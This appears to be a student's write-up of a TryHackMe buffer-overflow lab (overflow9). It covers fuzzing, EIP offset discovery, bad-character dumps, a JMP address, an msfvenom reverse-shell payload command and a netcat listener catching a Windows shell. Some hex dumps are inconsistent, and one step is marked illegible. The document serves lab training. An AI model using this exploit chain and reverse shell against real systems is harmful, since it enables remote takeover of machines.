

overflow9 trying smth new

1. Determine min buffer size

```
Fuzzing with 700 bytes
Fuzzing with 800 bytes
Fuzzing with 900 bytes
Fuzzing with 1000 bytes
Fuzzing with 1100 bytes
Fuzzing with 1200 bytes
Fuzzing with 1300 bytes
Fuzzing with 1400 bytes
Fuzzing with 1500 bytes
Fuzzing with 1600 bytes
Fuzzing crashed at 1600 bytes
[Finished in 35.9s]
```

2. Determine EIP

- via msf-pattern_create

```
msf-pattern_create -l 1600
```

Registers (MMX)		
EAX	0191F438	A
ECX	003D53C0	
EDX	00000000	
EBX	42327942	
ESP	0191FA30	A
EBP	79423379	
ESI	00000000	
EDI	00000000	
EIP	35794234	

- Address: 35794234

3. Determine offset of the pattern

- via msf-pattern_offset

```
(root@kali)~[/tryhackme/bufferOverflowPrep/overflow9]
# msf-pattern_offset -q 35794234
[*] Exact match at offset 1514
```

- EIP Offset: 1514

4. Test with Bs

- Make sure 42424242 is at EIP

Registers (MMX)		
EAX	01A7F438	A
ECX	003A536C	
EDX	00000A0D	
EBX	41414141	
ESP	01A7FA30	A
EBP	41414141	
ESI	00000000	
EDI	00000000	
EIP	42424242	

5. Determine badchars

- etc Nullbyte `\x00`

```
buffer = b"A" * 1514 + b"B" * 4 + b"C" * 4 + badChars
```

43	43	43	43	01	02	03	0A
0D	06	07	08	09	0A	0B	0C
0D	0E	0F	10	11	12	13	14
15	16	17	18	19	1A	1B	1C
1D	1E	1F	20	21	22	23	24
25	26	27	28	29	2A	2B	2C
2D	2E	2F	30	31	32	33	34
35	36	37	38	39	3A	3B	3C
3D	0A	0D	40	41	42	43	44

6. Remove `\x04`

43	43	43	43	01	02	03	05
06	07	08	09	0A	0B	0C	0D
0E	0F	10	11	12	13	14	15
16	17	18	19	1A	1B	1C	1D
1E	1F	20	21	22	23	24	25
26	27	28	29	2A	2B	2C	2D
2E	2F	30	31	32	33	34	35
36	37	38	39	3A	3B	3C	3D
0A	0D	40	41	42	43	44	45
46	47	48	49	4A	4B	4C	4D
4E	4F	50	51	52	53	54	55
56	57	58	59	5A	5B	5C	5D
5E	5F	60	61	62	63	64	65
66	67	68	69	6A	6B	6C	6D
6E	6F	70	71	72	73	74	75
76	77	78	79	7A	7B	7C	7D
7E	7F	80	81	82	83	84	85
86	87	88	89	8A	8B	8C	8D
8E	8F	90	91	92	93	94	95
96	97	98	99	9A	9B	9C	9D
9E	9F	A0	A1	A2	A3	A4	A5
A6	A7	A8	A9	AA	AB	AC	AD
AE	AF	B0	B1	B2	B3	B4	B5
B6	B7	B8	B9	BA	BB	BC	BD
BE	BF	C0	C1	C2	C3	C4	C5
C6	C7	C8	C9	CA	CB	CC	CD
CE	CF	D0	D1	D2	D3	D4	D5
D6	D7	D8	D9	DA	DB	DC	DD
DE	DF	E0	0A	0D	E3	E4	E5
E6	E7	E8	E9	EA	EB	EC	ED
EE	EF	F0	F1	F2	F3	F4	F5
F6	F7	F8	F9	FA	FB	FC	FD
FE	FE	0D	0A	00	90	ED	7E

7. Remove $\times 3e$

43	43	43	43	01	02	03	05
06	07	08	09	0A	0B	0C	0D
0E	0F	10	11	12	13	14	15
16	17	18	19	1A	1B	1C	1D
1E	1F	20	21	22	23	24	25
26	27	28	29	2A	2B	2C	2D
2E	2F	30	31	32	33	34	35
36	37	38	39	3A	3B	3C	3D
0A	0D	41	42	43	44	45	46
47	48	49	4A	4B	4C	4D	4E
4F	50	51	52	53	54	55	56
57	58	59	5A	5B	5C	5D	5E
5F	60	61	62	63	64	65	66
67	68	69	6A	6B	6C	6D	6E
6F	70	71	72	73	74	75	76
77	78	79	7A	7B	7C	7D	7E
7F	80	81	82	83	84	85	86
87	88	89	8A	8B	8C	8D	8E
8F	90	91	92	93	94	95	96
97	98	99	9A	9B	9C	9D	9E
9F	A0	A1	A2	A3	A4	A5	A6
A7	A8	A9	AA	AB	AC	AD	AE
AF	B0	B1	B2	B3	B4	B5	B6
B7	B8	B9	BA	BB	BC	BD	BE
BF	C0	C1	C2	C3	C4	C5	C6
C7	C8	C9	CA	CB	CC	CD	CE
CF	D0	D1	D2	D3	D4	D5	D6
D7	D8	D9	DA	DB	DC	DD	DE
DF	E0	0A	0D	E3	E4	E5	E6
E7	E8	E9	EA	EB	EC	ED	EE
EF	F0	F1	F2	F3	F4	F5	F6
E7	E8	E9	EA	EB	EC	ED	EE



8. Remove `\x3f`

43	43	43	43	01	02	03	05
06	07	08	09	0A	0B	0C	0D
0E	0F	10	11	12	13	14	15
16	17	18	19	1A	1B	1C	1D
1E	1F	20	21	22	23	24	25
26	27	28	29	2A	2B	2C	2D
2E	2F	30	31	32	33	34	35
36	37	38	39	3A	3B	3C	3D
40	41	42	43	44	45	46	47
48	49	4A	4B	4C	4D	4E	4F
50	51	52	53	54	55	56	57
58	59	5A	5B	5C	5D	5E	5F
60	61	62	63	64	65	66	67
68	69	6A	6B	6C	6D	6E	6F
70	71	72	73	74	75	76	77
78	79	7A	7B	7C	7D	7E	7F
80	81	82	83	84	85	86	87
88	89	8A	8B	8C	8D	8E	8F
90	91	92	93	94	95	96	97
98	99	9A	9B	9C	9D	9E	9F
A0	A1	A2	A3	A4	A5	A6	A7
A8	A9	AA	AB	AC	AD	AE	AF
B0	B1	B2	B3	B4	B5	B6	B7
B8	B9	BA	BB	BC	BD	BE	BF
C0	C1	C2	C3	C4	C5	C6	C7
C8	C9	CA	CB	CC	CD	CE	CF
D0	D1	D2	D3	D4	D5	D6	D7
D8	D9	DA	DB	DC	DD	DE	DF
E0	0A	0D	E3	E4	E5	E6	E7
E8	E9	EA	EB	EC	ED	EE	EF
F0	F1	F2	F3	F4	F5	F6	F7

F8	F9	FA	FB	FC	FD	FE	FF
0D	0A	00	7F	00	F0	FD	7F
37	8D	86	00	FE	FF	FF	FF

9. Remove `\xe1`

43	43	43	43	01	02	03	05
06	07	08	09	0A	0B	0C	0D
0E	0F	10	11	12	13	14	15
16	17	18	19	1A	1B	1C	1D
1E	1F	20	21	22	23	24	25
26	27	28	29	2A	2B	2C	2D
2E	2F	30	31	32	33	34	35
36	37	38	39	3A	3B	3C	3D
40	41	42	43	44	45	46	47
48	49	4A	4B	4C	4D	4E	4F
50	51	52	53	54	55	56	57
58	59	5A	5B	5C	5D	5E	5F
60	61	62	63	64	65	66	67
68	69	6A	6B	6C	6D	6E	6F
70	71	72	73	74	75	76	77
78	79	7A	7B	7C	7D	7E	7F
80	81	82	83	84	85	86	87
88	89	8A	8B	8C	8D	8E	8F
90	91	92	93	94	95	96	97
98	99	9A	9B	9C	9D	9E	9F
A0	A1	A2	A3	A4	A5	A6	A7
A8	A9	AA	AB	AC	AD	AE	AF
B0	B1	B2	B3	B4	B5	B6	B7
B8	B9	BA	BB	BC	BD	BE	BF
C0	C1	C2	C3	C4	C5	C6	C7
C8	C9	CA	CB	CC	CD	CE	CF
D0	D1	D2	D3	D4	D5	D6	D7
D8	D9	DA	DB	DC	DD	DE	DF
E0	E2	E3	E4	E5	E6	E7	E8
E9	EA	EB	EC	ED	EE	EF	F0
F1	F2	F3	F4	F5	F6	F7	F8

- Badchars: \x00\x04\x3e\x3f\xe1

10. Determine JMP

- JMP Address must not have any of the identified badChars

[illegible]

- Address: 0x625011af
- Little Endian: \xaf\x11\x50\x62

11. Generate Shellcode

```
msfvenom -a x86 -p windows/shell_reverse_tcp LHOST=10.11.49.241
LPORT=4444 EXITFUNC=thread -b '\x00\x04\x3e\x3f\xe1' -f python
```

12. Exploit

- a. offset (the number of As to reach EIP)
- b. returnAdd (EIP)
- c. NOP
- d. Shellcode

```
(root@kali) - [~/tryhackme/bufferOverflowPrep/overflow9]
# nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.11.49.241] from (UNKNOWN) [10.10.146.149] 49294
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Users\admin\Desktop\vulnerable-apps\oscp>
```